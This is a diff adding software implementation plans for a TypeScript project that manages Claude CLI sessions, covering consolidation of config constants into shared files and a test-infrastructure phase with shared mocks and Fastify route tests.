+2. In `src/respawn-controller.ts` `DEFAULT_CONFIG` (line 538): Replace `aiIdleCheckModel: 'claude-opus-4-5-20251101'` with `aiIdleCheckModel: AI_CHECK_MODEL`, `aiIdleCheckMaxContext: 16000` with `aiIdleCheckMaxContext: AI_IDLE_CHECK_MAX_CONTEXT`, `aiPlanCheckModel: 'claude-opus-4-5-20251101'` with `aiPlanCheckModel: AI_CHECK_MODEL`, `aiPlanCheckMaxContext: 8000` with `aiPlanCheckMaxContext: AI_PLAN_CHECK_MAX_CONTEXT`. Add import from `./config/ai-defaults.js`.
+3. In `src/ai-idle-checker.ts` `DEFAULT_AI_CHECK_CONFIG` (line 46): Replace `model: 'claude-opus-4-5-20251101'` with `model: AI_CHECK_MODEL`, `maxContextChars: 16000` with `maxContextChars: AI_IDLE_CHECK_MAX_CONTEXT`. Add import from `./config/ai-defaults.js`.
+4. In `src/ai-plan-checker.ts` `DEFAULT_PLAN_CHECK_CONFIG` (line 45): Replace `model: 'claude-opus-4-5-20251101'` with `model: AI_CHECK_MODEL`, `maxContextChars: 8000` with `maxContextChars: AI_PLAN_CHECK_MAX_CONTEXT`. Add import from `./config/ai-defaults.js`.
+5. In `src/web/routes/respawn-routes.ts` config merge block (lines 173–179): Replace all 4 inline fallback values with imports from `../../config/ai-defaults.js`.
+6. Run `tsc --noEmit`.
+
+### New file template
+
+```typescript
+/**
+ * @fileoverview Default model and context limits for AI-powered checkers.
+ *
+ * Centralizes the AI model identifier and context window sizes used by
+ * the idle checker, plan checker, respawn controller defaults, and
+ * respawn route fallbacks. Change the model here when upgrading.
+ *
+ * @module config/ai-defaults
+ */
+
+/** Default model for AI idle and plan checkers */
+export const AI_CHECK_MODEL = 'claude-opus-4-5-20251101';
+
+/** Max context chars for idle checker (~4k tokens) */
+export const AI_IDLE_CHECK_MAX_CONTEXT = 16000;
+
+/** Max context chars for plan checker (~2k tokens, plan mode UI is compact) */
+export const AI_PLAN_CHECK_MAX_CONTEXT = 8000;
+```
+
+### Verification
+
+```bash

+
+## Task 6: Create `src/config/team-config.ts`
+
+**Estimated effort**: 15 minutes
+**Files created**: `src/config/team-config.ts`
+**Files modified**: `src/team-watcher.ts`
+
+### Constants to extract from `src/team-watcher.ts`
+
+| Constant | Value | Purpose |
+|----------|-------|---------|
+| `TEAM_POLL_INTERVAL_MS` | `30000` | Team directory poll interval (30s) |
+| `MAX_CACHED_TEAMS` | `50` | LRU cache size for team configs |
+| `MAX_CACHED_TASKS` | `200` | LRU cache size for team tasks + inboxes |
+
+### Why centralize these
+
+Team polling frequency and cache sizes are operational knobs that affect both performance (polling too often wastes CPU) and responsiveness (polling too rarely means stale team state in the UI). They're also the kind of values a developer tuning for a large team deployment would want to find quickly. `MAX_CACHED_TASKS` is used for both the task cache and inbox cache — worth documenting.
+
+### Implementation
+
+1. Create `src/config/team-config.ts` with the 3 constants.
+2. In `src/team-watcher.ts`: Remove the 3 local constants (lines 23–25). Add `import { TEAM_POLL_INTERVAL_MS, MAX_CACHED_TEAMS, MAX_CACHED_TASKS } from './config/team-config.js'`. Note: rename `POLL_INTERVAL_MS` → `TEAM_POLL_INTERVAL_MS` to avoid ambiguity with the identically-named constant in `subagent-watcher.ts`.
+3. Update the usage site: `setInterval(... POLL_INTERVAL_MS)` → `setInterval(... TEAM_POLL_INTERVAL_MS)`.
+4. Run `tsc --noEmit`.
+
+### New file template
+
+```typescript
+/**
+ * @fileoverview Agent Teams polling and cache configuration.
+ *
+ * Controls how frequently TeamWatcher polls ~/.claude/teams/
+ * and how many teams/tasks are cached in memory.
+ *
+ * @module config/team-config
+ */
+
+/** Team directory poll interval (ms) */
+export const TEAM_POLL_INTERVAL_MS = 30_000;
+
+/** Max cached team configs (LRU eviction) */
+export const MAX_CACHED_TEAMS = 50;
+
+/** Max cached team tasks and inbox messages (LRU eviction).
+ * Used for both teamTasks and inboxCache maps. */
+export const MAX_CACHED_TASKS = 200;
+```
+
+### Verification

+
+## Task 7: Fix remaining cross-file duplicates
+
+**Estimated effort**: 30 minutes
+**Files modified**: `src/index.ts`, `src/subagent-watcher.ts`
+
+### Duplicate 1: `STATS_COLLECTION_INTERVAL_MS`
+
+Already fixed in Task 1 — both `server.ts` and `mux-routes.ts` now import from `server-timing.ts`.
+
+### Duplicate 2: AI model string
+
+Already fixed in Task 5 — all 5 occurrences now import from `ai-defaults.ts`.
+
+### Duplicate 3: `MAX_SCREENSHOT_SIZE` / `MAX_TEXT_FILE_SIZE` / `MAX_RAW_FILE_SIZE`
+
+These file size limits in `file-routes.ts` and `system-routes.ts` are **API-specific validation limits**. They're only used in their respective route files and aren't duplicated. **Leave in place** — they're local to their route module and well-commented.
+
+### Action A: Move `MAX_CONSECUTIVE_ERRORS` and `ERROR_RESET_MS` to config
+
+`src/index.ts` has two process-level constants that are operational tuning knobs:
+
+| Constant | Value | Purpose |
+|----------|-------|---------|
+| `MAX_CONSECUTIVE_ERRORS` | `5` | Max consecutive unhandled errors before process exit |
+| `ERROR_RESET_MS` | `60000` | Error counter reset interval (1 min) |
+
+These belong in a config file since they control server reliability behavior. Add them to `src/config/server-timing.ts` (they're server operational constants).
+
+1. Add to `src/config/server-timing.ts`:
+   ```typescript
+   // ============================================================================
+   // Process Error Recovery
+   // ============================================================================
+
+   /** Max consecutive unhandled errors before auto-restart */
+   export const MAX_CONSECUTIVE_ERRORS = 5;
+
+   /** Error counter reset interval — forgives errors after quiet period (ms) */
+   export const ERROR_RESET_MS = 60_000;
+   ```
+2. In `src/index.ts`: Remove lines 19–20, add import from `./config/server-timing.js`.
+3. Run `tsc --noEmit`.
+
+### Action B: Fix `MAX_TRACKED_AGENTS` shadow in `subagent-watcher.ts`
+
+`subagent-watcher.ts` defines its own `MAX_TRACKED_AGENTS = 500` locally instead of importing the identical value from `config/map-limits.ts`. This is a latent bug — if someone changes the config value, the subagent watcher's copy stays stale.
+
+1. In `src/subagent-watcher.ts`: Remove the local `MAX_TRACKED_AGENTS` constant. Add `import { MAX_TRACKED_AGENTS } from './config/map-limits.js'` (the value there is `MAX_TODOS_PER_SESSION = 500` — **verify** the map-limits constant is actually named `MAX_TRACKED_AGENTS` or if it needs to be added). If the constant doesn't exist in `map-limits.ts` under that name, add it.
+2. Run `tsc --noEmit`.
+
+### Verification
+
+```bash
+tsc --noEmit
+npm run lint
+npm run format:check
+```
+

+
+## Task 8: Update CLAUDE.md and final verification
+
+**Estimated effort**: 20 minutes
+**Files modified**: `CLAUDE.md`
+
+### Updates to CLAUDE.md
+
+1. **Config Files table** (`src/config/`): Add the 6 new files:
+
+   | File | Purpose |
+   |------|---------|
+   | `buffer-limits.ts` | Terminal/text buffer size limits |
+   | `map-limits.ts` | Global limits for Maps, sessions, watchers |
+   | `exec-timeout.ts` | Execution timeout configuration |
+   | `server-timing.ts` | Web server batching, SSE, scheduled run timing |
+   | `auth-config.ts` | Auth session TTL, rate limits, hook timeout |
+   | `tunnel-config.ts` | QR token rotation, tunnel process lifecycle |
+   | `terminal-limits.ts` | Terminal dimension and input validation limits |
+   | `ai-defaults.ts` | AI checker model and context limits |
+   | `team-config.ts` | Agent Teams polling and cache sizes |
+
+2. **Import Conventions** section: Add:
+   ```
+   - **Config**: Import from specific files: `import { MAX_TERMINAL_COLS } from './config/terminal-limits'`
+   ```
+
+3. **Phase 6 status** in `docs/code-structure-findings.md`: Mark as COMPLETE with summary of what was done.
+
+### Final verification checklist
+
+```bash
+# Type checking
+tsc --noEmit
+
+# Linting
+npm run lint
+
+# Formatting
+npm run format:check
+
+# Dev server starts
+npx tsx src/index.ts web --port 3099 &
+curl -s http://localhost:3099/api/status | jq .status  # "ok"
+kill %1
+
+# Verify no remaining duplicates
+grep -rn 'STATS_COLLECTION_INTERVAL_MS' src/  # Should only appear in config + import sites
+grep -rn 'timeout: 10000' src/hooks-config.ts  # Should be 0 — all replaced with HOOK_TIMEOUT_MS
+grep -rn 'claude-opus-4-5-20251101' src/       # Should only appear in config/ai-defaults.ts
+```
+
+---
+
+## What is NOT in scope (and why)
+
+These constants were considered but deliberately left in their current files:
+
+### Respawn controller defaults (`src/respawn-controller.ts`)
+
+The `DEFAULT_CONFIG` object (lines 538–578) contains ~30 default values for the `RespawnConfig` interface. These are **user-facing configuration defaults**, not system constants — they're the starting values for a config object that users can modify via the API and UI. Centralizing them would break the locality between the config interface definition and its defaults. They already have excellent JSDoc with `@default` tags. The only values extracted are the AI model/context constants (Task 5) which are duplicated in other files.
+
+### Subagent watcher timing (`src/subagent-watcher.ts`)
+
+The 18 constants at lines 129–158 are all internal to the subagent watcher's polling/lifecycle algorithm. Moving them to a config file would force developers to context-switch between two files to understand the polling logic. They're already grouped with clear comments. Exception: `MAX_TRACKED_AGENTS` is consolidated with `map-limits.ts` (Task 7B) since it duplicates a global limit.
+
+### Session auto-ops timing (`src/session-auto-ops.ts`)
+
+The 8 constants at lines 19–40 are internal to the auto-compact/clear retry state machine. They form a coherent group that's meaningless without the surrounding implementation context.
+
+### Run summary constants (`src/run-summary.ts`)
+
+`MAX_EVENTS`, `TRIM_TO_EVENTS`, `TOKEN_MILESTONE_INTERVAL`, `STATE_STUCK_WARNING_MS`, `STATE_STUCK_CHECK_INTERVAL` — all module-internal. The buffer-style limits (`MAX_EVENTS`/`TRIM_TO_EVENTS`) follow the same pattern as `buffer-limits.ts` but are only used in this one file.
+
+### Frontend (`src/web/public/constants.js`)
+
+Already well-centralized. Frontend and backend run in different environments — mixing them in TypeScript config files would create import problems. If frontend constants need expansion, do it in `constants.js`. Note: `app.js` has 2 inline uses of `256 * 1024` that should use the existing `TERMINAL_TAIL_SIZE` from `constants.js` — a minor cleanup that can be done opportunistically but is not worth a task here.
+
+### Tmux manager timing (`src/tmux-manager.ts`)
+
+The 6 constants (lines 65–78) are internal to tmux process lifecycle management. They're low-level retry/wait values that are meaningless without understanding the tmux spawn sequence.
+
+### Process-internal constants
+
+`image-watcher.ts`, `bash-tool-parser.ts`, `transcript-watcher.ts`, `ralph-tracker.ts`, `task-tracker.ts`, `file-stream-manager.ts`, `session-lifecycle-log.ts`, `session-task-cache.ts`, `respawn-metrics.ts`, `respawn-adaptive-timing.ts`, `ai-checker-base.ts` — all have module-local constants that are internal implementation details.
+
+### `localhost:3000` default URL
+
+The string `'http://localhost:3000'` or port `3000` appears as a fallback default in ~5 files (`session-cli-builder.ts`, `tmux-manager.ts`, `tunnel-manager.ts`, `server.ts`, CLI). While technically duplicated, extracting it provides little value — each usage has a different fallback chain (env var → config → hardcoded) and the port is also baked into systemd service files and documentation. The risk of a missed update is low since port 3000 is deeply conventional.
+
+### `SAVE_DEBOUNCE_MS = 500` in `state-store.ts` / `push-store.ts`
+
+Same value (500ms), but they debounce different persistence targets (state.json vs push-subscriptions.json). If one needed faster/slower debouncing, they'd diverge. Coupling them would be misleading.

+# Phase 7 Implementation Plan: Test Infrastructure
+
+**Source**: `docs/code-structure-findings.md` (Phase 7 — Test Infrastructure)
+**Estimated effort**: 2–3 days
+**Tasks**: 11 tasks with dependencies (see dependency graph below)
+
+---
+
+## Safety Constraints
+
+Before starting ANY work, read and follow these rules:
+
+1. **Never run `npx vitest run`** (full suite) — it kills tmux sessions. You are running inside a Codeman-managed tmux session.
+2. **Run individual tests only**: `npx vitest run test/<file>.test.ts`
+3. **Never test on port 3000** — the live dev server runs there. Tests use ports 3150+.
+4. **After TypeScript changes**: Run `tsc --noEmit` to verify type checking passes.
+5. **Before considering done**: Run `npm run lint` and `npm run format:check` to ensure CI passes.
+6. **Never kill tmux sessions** — check `echo $CODEMAN_MUX` first.
+7. **Port assignments for this phase**: New tests use ports 3220–3229 (see individual tasks for assignments).
+
+---
+
+## Goal
+
+Eliminate duplicated test mocks, activate the unused `respawn-test-utils.ts` utilities, and add route-level test coverage for the server's 12 route modules — the single largest untested area in the codebase (162 route handlers, 0 dedicated tests).
+
+**Non-goals**:
+- Full end-to-end integration tests (those require real Claude CLI / tmux sessions)
+- 100% route coverage in this phase — focus on the highest-value route modules first
+- Refactoring test patterns in existing passing tests that don't use shared mocks
+- Migrating `vi.mock()`-based module replacement mocks (different pattern, see Task 6/7)
+
+---
+
+## Current State
+
+### Mock Duplication (Finding #9)
+
+`MockSession` is defined **4 times** across test files with varying levels of completeness:
+
+| File | Properties | Methods | EventEmitter | Notes |
+|------|-----------|---------|-------------|-------|
+| `test/respawn-test-utils.ts` | 6 | 20+ | Yes | **Most complete**. Includes terminal simulation, token count, ANSI output, plan mode prompts. **Never imported by any test.** |
+| `test/respawn-controller.test.ts` | 6 | 9 | Yes | Subset of respawn-test-utils. Missing token simulation, ANSI helpers. |
+| `test/respawn-team-awareness.test.ts` | ~6 | ~9 | Yes | Near-copy of respawn-controller.test.ts version. |
+| `test/session-manager.test.ts` | 4 | 8 | Yes | **Inside `vi.mock()` factory** — replaces `../src/session.js` module. Different shape: `start()`/`stop()`/`toState()`/`sendInput()` for lifecycle testing. |
+
+`MockStateStore` is defined **2 times** (both inside `vi.mock()` factories):
+
+| File | Shape | Methods | Mock Pattern |
+|------|-------|---------|-------------|
+| `test/session-manager.test.ts` | `{ sessions, config }` | `getConfig`, `getSessions`, `getSession`, `setSession`, `removeSession` | `vi.mock('../src/state-store.js')` |
+| `test/ralph-loop.test.ts` | `{ ralphLoop, tasks, config }` | `getConfig`, `getRalphLoopState`, `setRalphLoopState`, `getTasks`, `setTask`, `removeTask` | `vi.mock('../src/state-store.js')` |
+
+### Important: Two distinct mocking patterns
+
+The codebase uses two different mocking patterns that require different migration strategies:
+
+1. **Direct instantiation** (respawn-controller, respawn-team-awareness): `MockSession` is defined at file scope and instantiated directly in tests. These can be migrated to shared mocks via simple import replacement.
+
+2. **Module replacement** (session-manager, ralph-loop): Mocks are defined inside `vi.mock()` factories that replace entire modules (`../src/session.js`, `../src/state-store.js`). These factories run in an isolated scope and return `{ Session: MockClass }` or `{ getStore: vi.fn(() => instance) }`. Migrating these requires either `vi.hoisted()` or restructuring the test's module mocking — higher risk for limited benefit.
+
+### Unused Test Utilities
+
+`test/respawn-test-utils.ts` exports these utilities that **no test file imports**:
+
+- `TimeController` / `createTimeController()` — abstraction over vitest fake timers
+- `MockAiIdleChecker` / `MockAiPlanChecker` — fully mocked AI checkers with result queueing
+- `createStateTracker()` / `createEventRecorder()` — state transition and event recording
+- `FAST_TEST_CONFIG` / `AI_ENABLED_TEST_CONFIG` — pre-configured RespawnConfig objects
+- `waitForState()` / `waitForEvent()` / `createDeferred()` — async test helpers
+- `terminalOutputs` — factory object for common terminal output patterns
+
+### Route Test Coverage
+
+Currently **zero** dedicated tests for the 12 route modules in `src/web/routes/`. The existing test files that touch API endpoints:
+
+| Test File | What It Tests | Approach |
+|-----------|--------------|----------|
+| `test/api-responses.test.ts` | Response structure validation | Imports types, no HTTP calls |
+| `test/api-generate-plan.test.ts` | Plan generation API | Mocks validation logic, Port 3191 declared |
+| `test/auth-security.test.ts` | Auth middleware | Integration tests with WebServer, Ports 3160/3161 |
+| `test/qr-auth.test.ts` | QR authentication | Integration + unit tests, Port 3162 |
+
+None of these test the route handlers themselves with real HTTP requests against a running Fastify instance.
+
+---
+
+## Design Decisions
+
+### Shared mocks: Superset strategy
+
+Rather than creating a lowest-common-denominator mock, `MockSession` in `test/mocks/` will be the **superset** from `respawn-test-utils.ts` (the most complete version). Test files that need a simpler mock can just ignore the extra methods — having unused methods costs nothing, but missing methods forces local re-definition.
+
+### vi.mock() tests: Don't migrate
+
+The `session-manager.test.ts` and `ralph-loop.test.ts` tests define mocks inside `vi.mock()` factories. These use **module-level replacement** (replacing `../src/session.js` and `../src/state-store.js` entirely), which is fundamentally different from the direct-instantiation pattern. Migrating them would require `vi.hoisted()` or factory restructuring — high complexity for limited benefit since these mocks are already working. We leave these as-is and create the shared mocks for **new** tests and for the two direct-instantiation tests (Tasks 4–5).
+
+### MockStateStore: Union of both shapes
+
+The shared `MockStateStore` in `test/mocks/` will include methods from both existing definitions (session management + Ralph loop), so any **new** test can use it. Methods default to no-ops via `vi.fn()`. Existing `vi.mock()`-based tests are not migrated.
+
+### Route testing strategy: Lightweight Fastify instances
+
+Each route test file will:
+1. Create a minimal `Fastify` instance
+2. Register **only** the route module under test
+3. Provide a mock context object satisfying the port interfaces
+4. Use `app.inject()` (Fastify's built-in test helper) — no real HTTP, no port needed
+
+This avoids port conflicts entirely and runs fast. Only tests that need SSE or WebSocket behavior will use a real listening server with assigned ports.
+
+### Port assignments (for tests needing real servers)
+
+| Port | Test File | Purpose |
+|------|-----------|---------|
+| 3220 | `test/routes/session-routes.test.ts` | SSE integration (if needed) |
+| 3221 | `test/routes/system-routes.test.ts` | Status/stats endpoints |
+| 3222 | `test/routes/respawn-routes.test.ts` | Respawn API |
+| 3223 | `test/routes/ralph-routes.test.ts` | Ralph API |
+| 3224–3229 | Reserved | Future route tests |
+
+Most tests should NOT need real ports — `app.inject()` is preferred. Verified: ports 3220–3229 are completely unused by existing tests (highest used port is 3211 in `opencode-resize.test.ts`).

+
+## Task 1: Consolidate MockSession into `test/mocks/mock-session.ts`
+
+**Estimated effort**: 2 hours
+**Files created**: `test/mocks/mock-session.ts`
+**Files modified**: None yet (consumers migrate in Tasks 4–5)
+
+### Source
+
+The canonical MockSession comes from `test/respawn-test-utils.ts` (lines 89–241). It is the most complete version with:
+
+- All properties needed by `RespawnController`: `id`, `workingDir`, `status`, `writeBuffer`, `terminalBuffer`, `muxName`
+- `write()` / `writeViaMux()` for input simulation
+- Buffer inspection: `lastWrite`, `hasWritten(pattern)`, `clearWriteBuffer()`
+- Terminal simulation: `simulateTerminalOutput()`, `simulatePrompt()`, `simulateReady()`, `simulateCompletionMessage()`, `simulateWorking()`, `simulateClearComplete()`, `simulateInitComplete()`, `simulatePlanModePrompt()`, `simulateElicitationDialog()`, `simulateTokenCount()`, `simulateAnsiOutput()`
+- Lifecycle: `close()`
+
+### Implementation
+
+1. Create `test/mocks/` directory.
+2. Create `test/mocks/mock-session.ts`:
+   - Copy the `MockSession` class **exactly** from `test/respawn-test-utils.ts` (lines 89–241)
+   - Copy `terminalOutputs` helper object (tightly coupled to mock)
+   - Copy `createMockSession()` factory function
+   - Export all three: `export { MockSession, createMockSession, terminalOutputs }`
+   - Ensure all `vi` imports come from `vitest`
+
+**CRITICAL**: Copy the source verbatim — do NOT rewrite the simulation methods. The respawn controller's detection logic matches specific output patterns (e.g., `'\u276f '` for prompt, `'\u273b Worked for'` for completion). Using different patterns would cause test failures.
+
+### Template
+
+```typescript
+/**
+ * Shared MockSession for tests that need terminal simulation.
+ *
+ * Copied from test/respawn-test-utils.ts (the canonical, most complete version).
+ * Used by respawn, route, and subagent tests.
+ */
+import { EventEmitter } from 'node:events';
+
+// Copy MockSession class exactly from test/respawn-test-utils.ts lines 89–241
+export class MockSession extends EventEmitter {
+  // ... (copy verbatim from respawn-test-utils.ts)
+}
+
+/**
+ * Factory for common terminal output strings.
+ * Must match the patterns used in MockSession's simulate* methods.
+ */
+export const terminalOutputs = {
+  // ... (copy verbatim from respawn-test-utils.ts)
+};
+
+/**
+ * Convenience factory.
+ */
+export function createMockSession(id?: string): MockSession {
+  return new MockSession(id);

+## Task 2: Consolidate MockStateStore into `test/mocks/mock-state-store.ts`
+

+## Task 3: Create `test/mocks/index.ts` barrel export
+
+**Estimated effort**: 30 minutes
+**Depends on**: Tasks 1, 2
+**Files created**: `test/mocks/index.ts`, `test/mocks/test-helpers.ts`
+**Files modified**: None
+
+### Implementation
+
+1. Create `test/mocks/test-helpers.ts` with the async utilities from `respawn-test-utils.ts`:
+
+```typescript
+/**
+ * Reusable async test helpers.
+ * Extracted from respawn-test-utils.ts.
+ */
+
+/** Wait for an EventEmitter to emit a specific event, with timeout */
+export function waitForEvent(
+  emitter: { once: (event: string, listener: (...args: unknown[]) => void) => void },
+  event: string,
+  timeoutMs = 5000,
+): Promise<unknown> {
+  return new Promise((resolve, reject) => {
+    const timer = setTimeout(
+      () => reject(new Error(`Timed out waiting for event "${event}" after ${timeoutMs}ms`)),
+      timeoutMs,
+    );
+    emitter.once(event, (...args: unknown[]) => {
+      clearTimeout(timer);
+      resolve(args.length === 1 ? args[0] : args);
+    });
+  });
+}
+
+/** Create a deferred promise with external resolve/reject */
+export function createDeferred<T = void>(): {
+  promise: Promise<T>;
+  resolve: (value: T) => void;
+  reject: (reason?: unknown) => void;
+} {
+  let resolve!: (value: T) => void;
+  let reject!: (reason?: unknown) => void;
+  const promise = new Promise<T>((res, rej) => {
+    resolve = res;
+    reject = rej;
+  });
+  return { promise, resolve, reject };
+}
+```
+
+2. Create `test/mocks/index.ts` barrel:
+
+```typescript
+/**
+ * Shared test mocks — import from here instead of defining inline.
+ *
+ * @example
+ * import { MockSession, MockStateStore, terminalOutputs } from './mocks/index.js';
+ */
+
+export { MockSession, createMockSession, terminalOutputs } from './mock-session.js';
+export { MockStateStore } from './mock-state-store.js';

+## Task 4: Migrate `respawn-controller.test.ts` to shared mocks
+
+**Estimated effort**: 30 minutes
+**Depends on**: Task 3
+**Files modified**: `test/respawn-controller.test.ts`
+
+### Steps
+
+1. Remove the local `MockSession` class definition (approx. 50 lines).
+2. Add: `import { MockSession } from './mocks/index.js';`
+3. Verify all test methods still exist on the shared mock. The shared mock is a superset, so all existing usage should work.
+4. If the local mock had any test-specific customizations (e.g., extra properties added in `beforeEach`), keep those in the test file as inline assignments on the shared instance.
+5. Run the test to confirm it passes.
+
+### Potential issues
+
+- The local mock's `simulateCompletionMessage()` may have a slightly different output format than the shared mock's (from respawn-test-utils.ts). Verify the respawn controller's completion detection regex matches the shared mock's output pattern (`'\u273b Worked for ...'`).
+- If the local mock adds `pid` or `isWorking` properties that the shared mock doesn't have, add inline assignments in `beforeEach`.
+
+### Verification
+
+```bash
+npx vitest run test/respawn-controller.test.ts

+## Task 5: Migrate `respawn-team-awareness.test.ts` to shared mocks
+
+**Estimated effort**: 30 minutes
+**Depends on**: Task 3
+**Files modified**: `test/respawn-team-awareness.test.ts`
+
+### Steps
+
+1. Remove the local `MockSession` class definition.
+2. Add: `import { MockSession } from './mocks/index.js';`
+3. Keep `MockTeamWatcher` in this file — it's test-specific and extends the real `TeamWatcher`, not a general-purpose mock.
+4. Run the test to confirm it passes.
+
+### Verification
+
+```bash
+npx vitest run test/respawn-team-awareness.test.ts

+
+## Task 6: Create route test scaffold and helpers
+
+**Estimated effort**: 2 hours
+**Depends on**: Task 3
+**Files created**: `test/mocks/mock-route-context.ts`, `test/routes/` directory, `test/routes/_route-test-utils.ts`
+
+### Problem
+
+The 12 route modules in `src/web/routes/` have zero dedicated test coverage. Each route module takes `(app: FastifyInstance, ctx: PortIntersection)` — we need a reusable way to create mock context objects that satisfy the port interfaces.
+
+### Design
+
+Create a `MockRouteContext` factory that builds a mock object satisfying all port interfaces. Each port's methods are `vi.fn()` stubs. Tests can override specific methods as needed.
+
+### Route registration signatures (verified)
+
+Each route module requires a specific port intersection. The mock must satisfy all of them:
+
+| Route Module | Required Ports |
+|-------------|----------------|
+| `registerSessionRoutes` | `SessionPort & EventPort & ConfigPort & InfraPort & AuthPort` |
+| `registerSystemRoutes` | `SessionPort & EventPort & ConfigPort & InfraPort & AuthPort` |
+| `registerRespawnRoutes` | `SessionPort & EventPort & RespawnPort & ConfigPort & InfraPort` |
+| `registerRalphRoutes` | `SessionPort & EventPort & RespawnPort & ConfigPort & InfraPort` |
+| `registerPlanRoutes` | `SessionPort & EventPort & ConfigPort & InfraPort` |
+| `registerCaseRoutes` | `EventPort & ConfigPort` |
+| `registerScheduledRoutes` | `SessionPort & EventPort & InfraPort` |
+| `registerFileRoutes` | `SessionPort` |
+| `registerMuxRoutes` | `InfraPort` |
+| `registerPushRoutes` | `InfraPort` |
+| `registerTeamRoutes` | `InfraPort` |
+| `registerHookEventRoutes` | `EventPort & AuthPort` |
+
+### Implementation
+
+1. Create `test/mocks/mock-route-context.ts`:
+
+```typescript
+/**
+ * Mock context for route handler testing.
+ *
+ * Satisfies ALL port interfaces (SessionPort, EventPort, RespawnPort,
+ * ConfigPort, InfraPort, AuthPort) so any route module can be tested.
+ * Override specific methods in individual tests as needed.
+ *
+ * Verified against actual port interfaces in src/web/ports/:
+ * - SessionPort: 6 methods (sessions, addSession, cleanupSession,
+ *   setupSessionListeners, persistSessionState, persistSessionStateNow,
+ *   getSessionStateWithRespawn)
+ * - EventPort: 5 methods (broadcast, sendPushNotifications, batchTerminalData,
+ *   broadcastSessionStateDebounced, batchTaskUpdate)
+ * - RespawnPort: 2 maps + 4 methods
+ * - ConfigPort: 5 readonly + 7 methods (incl getDefaultClaudeMdPath,
+ *   getLightState, getLightSessionsState, stopTranscriptWatcher)
+ * - InfraPort: 7 readonly + 2 methods (startScheduledRun, stopScheduledRun)
+ * - AuthPort: 3 readonly (authSessions, qrAuthFailures, https)
+ */

+
+export type MockRouteContext = ReturnType<typeof createMockRouteContext>;
+```
+
+2. Add to `test/mocks/index.ts` barrel:
+
+```typescript
+export { createMockRouteContext, type MockRouteContext } from './mock-route-context.js';
+```
+
+3. Create `test/routes/` directory for route test files.
+
+4. Create `test/routes/_route-test-utils.ts` with Fastify test helpers:
+
+```typescript
+/**
+ * Shared utilities for route testing.
+ *
+ * Creates minimal Fastify instances with just the route module under test
+ * and a mock context. Uses app.inject() for HTTP testing without real ports.
+ */
+import Fastify, { type FastifyInstance } from 'fastify';
+import { createMockRouteContext, type MockRouteContext } from '../mocks/index.js';
+
+export interface RouteTestHarness {
+  app: FastifyInstance;
+  ctx: MockRouteContext;
+}
+
+/**
+ * Creates a Fastify instance with a route module registered against a mock context.
+ *
+ * @param registerFn - The route registration function (e.g., registerSessionRoutes).
+ *   Uses `any` for ctx parameter because route functions expect typed port intersections
+ *   that MockRouteContext satisfies structurally but not nominally.
+ * @param ctxOptions - Optional overrides for the mock context
+ */
+export async function createRouteTestHarness(
+  // eslint-disable-next-line @typescript-eslint/no-explicit-any
+  registerFn: (app: FastifyInstance, ctx: any) => void,
+  ctxOptions?: { sessionId?: string },
+): Promise<RouteTestHarness> {
+  const app = Fastify({ logger: false });
+  const ctx = createMockRouteContext(ctxOptions);
+
+  registerFn(app, ctx);
+  await app.ready();
+
+  return { app, ctx };
+}
+```
+
+### Why `ctx: any` in the harness
+
+Route registration functions like `registerSessionRoutes(app, ctx: SessionPort & EventPort & ConfigPort & InfraPort & AuthPort)` expect specific port intersection types. TypeScript won't accept `unknown` here because it's not assignable to the port types. The `MockRouteContext` satisfies the interfaces structurally (it has all the required properties and methods), but since it's not declared as implementing them, we need `any` at the call site. This is the standard pattern for test mocks in TypeScript.

+## Task 7: Add session routes tests
+
+**Estimated effort**: 4 hours
+**Depends on**: Task 6
+**Files created**: `test/routes/session-routes.test.ts`
+**Port**: 3220 (only if SSE tests needed; prefer `app.inject()`)
+
+### Coverage targets
+
+`src/web/routes/session-routes.ts` is the largest route module (43 handlers). Focus on the most critical endpoints first:
+
+#### Priority 1: Session CRUD (must test)
+
+| Method | Path | What to test |
+|--------|------|-------------|
+| `GET` | `/api/sessions` | Returns session list; empty when no sessions |
+| `GET` | `/api/sessions/:id` | Returns session state; 404 for unknown ID |
+| `POST` | `/api/sessions` | Creates session; validates workingDir; rejects invalid paths |
+| `DELETE` | `/api/sessions/:id` | Calls cleanupSession; 404 for unknown ID |
+
+#### Priority 2: Session I/O
+
+| Method | Path | What to test |
+|--------|------|-------------|
+| `POST` | `/api/sessions/:id/input` | Sends input to session; validates input length; 404 for unknown |
+| `POST` | `/api/sessions/:id/resize` | Validates cols/rows bounds; 404 for unknown |
+| `GET` | `/api/sessions/:id/buffer` | Returns terminal buffer; 404 for unknown |
+
+#### Priority 3: Session actions
+
+| Method | Path | What to test |
+|--------|------|-------------|
+| `POST` | `/api/sessions/:id/run` | Runs prompt on session |
+| `POST` | `/api/sessions/:id/clear` | Clears session |
+| `POST` | `/api/sessions/:id/compact` | Compacts session |
+| `POST` | `/api/sessions/:id/interactive` | Starts interactive mode |
+| `POST` | `/api/sessions/:id/quick-start` | Quick start flow |
+
+### Test pattern
+
+```typescript

+
+  afterEach(async () => {
+    await harness.app.close();
+  });
+
+  describe('GET /api/sessions', () => {
+    it('returns empty array when no sessions', async () => {
+      harness.ctx.sessions.clear();
+      const res = await harness.app.inject({ method: 'GET', url: '/api/sessions' });
+      expect(res.statusCode).toBe(200);
+      expect(JSON.parse(res.body)).toEqual([]);
+    });
+

+      const sessions = JSON.parse(res.body);
+      expect(sessions).toHaveLength(1);
+    });
+  });
+
+  describe('GET /api/sessions/:id', () => {
+    it('returns 404 for unknown session', async () => {
+      const res = await harness.app.inject({
+        method: 'GET',
+        url: '/api/sessions/nonexistent',
+      });
+      expect(res.statusCode).toBe(404);
+    });
+  });
+
+  describe('POST /api/sessions/:id/input', () => {
+    it('rejects input exceeding max length', async () => {
+      const res = await harness.app.inject({
+        method: 'POST',
+        url: `/api/sessions/${harness.ctx._sessionId}/input`,
+        payload: { input: 'x'.repeat(65537) },
+      });
+      expect(res.statusCode).toBe(400);

+
+  describe('POST /api/sessions/:id/resize', () => {
+    it('rejects cols exceeding max', async () => {
+      const res = await harness.app.inject({
+        method: 'POST',
+        url: `/api/sessions/${harness.ctx._sessionId}/resize`,
+        payload: { cols: 501, rows: 24 },
+      });
+      expect(res.statusCode).toBe(400);
+    });
+  });
+});
+```
+
+### Key assertions to include
+
+- **404 for unknown sessions**: Every `:id` endpoint must return 404 for nonexistent IDs
+- **Input validation**: Bad paths, oversized inputs, invalid resize dimensions
+- **Side effects**: Verify `ctx.broadcast()` was called with correct event type after mutations
+- **Response shape**: Verify response bodies match expected API types

+## Task 8: Add system + respawn routes tests
+
+**Estimated effort**: 4 hours
+**Depends on**: Task 6
